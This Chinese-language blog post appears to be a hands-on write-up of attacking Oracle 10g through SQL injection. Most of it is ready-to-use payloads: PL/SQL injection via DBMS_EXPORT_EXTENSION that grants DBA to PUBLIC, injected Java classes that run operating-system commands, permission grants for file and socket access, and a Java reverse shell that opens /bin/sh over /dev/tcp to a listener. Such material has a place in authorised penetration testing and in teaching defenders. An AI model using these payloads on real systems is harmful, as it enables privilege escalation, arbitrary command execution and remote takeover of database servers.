Oracle注入 - 命令执行&Shell反弹

0x01 Oracle安装

CentOS 7 安装oracle10g,装了一天,特此记录

oracle9i,10G,11G,各版本下载资源

Centos6/7下静默安装oracle10g

0x02 命令执行

本文测试环境均为:

CentOS Linux release 7.2.1511 (Core)

Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit Production

执行方式很多种,这边只研究Oracle10g,并且本地实测成功的

  • DBMS_EXPORT_EXTENSION()
  • dbms_xmlquery.newcontext()
  • DBMS_JAVA_TEST.FUNCALL()
注意:注入时需去除末尾分号;

方法1. DBMS_EXPORT_EXTENSION()

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
  • 权限:None
  • 详情:这个软件包有许多易受PL/SQL注入攻击的函数。这些函数由SYS拥有,作为SYS执行并且可由PUBLIC执行。因此,如果SQL注入处于上述任何未修补的Oracle数据库版本中,那么攻击者可以调用该函数并直接执行SYS查询。

提权:该请求将导致查询”GRANT DBA TO PUBLIC”以SYS身份执行。 因为这个函数允许PL / SQL缺陷(PL / SQL注入)。一旦这个请求成功执行,PUBLIC获取DBA角色,从而提升当前user的特权

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用java

(1) 创建Java库

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

(2) 赋予Java权限

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

(3) 创建函数

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

(4) 赋予函数执行权限

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

(5) 执行

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select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

extension_linxruncmd_01

方法2. dbms_xmlquery.newcontext()

此方法成功前提

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

方法1 中DBMS_EXPORT_EXTENSION存在漏洞情况下,否则赋予权限时无法成功

(1) 创建java包

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select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

通过以下命令可以查看all_objects内部改变:

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select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

newcontext_all_objects_01

(2) 赋予当前用户java权限

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--当前用户查看
select user from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

查看可用的java权限列表,通过以下命令查看赋权情况

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select * from user_java_policy where grantee_name='YY';

newcontext_java_policy_01

若赋权失败,最后执行命令时会报如下错误
newcontext_linxruncmd_error_01

此处很坑,前后折腾,不知道哪里问题,有时可以执行命令,有时不能,网上找了太多赋权命令,不知是哪一条成功,导致我恢复快照不下10次测试问题到底出在哪。

最后找到上述查看赋权情况命令,才找出哪条赋权命令能成功。所以,坑在哪里?

T00ls
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select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

newcontext_java_policy_01_t00ls
显而易见,根本没赋权成功
关于上述赋权失败,评论里作者回复使用下述命令

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select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javauserpriv to YY''commit;end;') from dual;

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javasyspriv to YY''commit;end;') from dual;

newcontext_java_policy_01_t00ls

显然,一样的结果

随风’s blog
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

newcontext_java_policy_02_suifeng

可见,两种方式均无果

(3) 创建函数

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select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

判断是否创建成功

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select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

newcontext_object_id_01

也可通过查看all_objects内部改变判断

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select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

newcontext_all_objects_02

若想删除创建的函数,通过以下命令删除

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drop function LinxRunCMD

(4) 执行

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select LinxRunCMD('id') from dual

恭喜!!!

newcontext_linxruncmd_01

newcontext_linxruncmd_02

方法3. DBMS_JAVA_TEST.FUNCALL()

使用java privileges

  • 影响版本: 10g R2, 11g R1, 11g R2
  • 权限:Java Permissions.
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Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

执行时报如下错,貌似没赋权?实际上赋权后还是一样的错误

test.funcall_error 2

但不影响命令的执行

test.funcall_01

该方式无回显,在注入时不太方便利用,但可通过此方式反弹 : )

0x03 反弹shell

网上铺天盖地windows的payload,linux下根本无法反弹,自己手动测试java代码反弹,然后放入oracle Sql

java反弹代码如下:

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import java.io.*;
import java.net.*;
public class shellRev
{
public static void main(String[] args)
{
System.out.println(1);
try{run();}
catch(Exception e){}
}
public static void run() throws Exception
{
String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
Process p=Runtime.getRuntime().exec(aaa);
}
}
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#编译
javac shellRev.java
#执行
java shellRev

1. 创建java代码

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

2. 赋予java权限

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3. 创建函数

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

4. 赋予函数执行权限

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

5. 反弹shell

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select sys.reversetcp from dual

reverse

0x04 参考链接

Hacking Oracle from the Web
Execute os command in Oracle Database
Oracle Sql注入利用方法
对XX站手工oracle注入到系统shell

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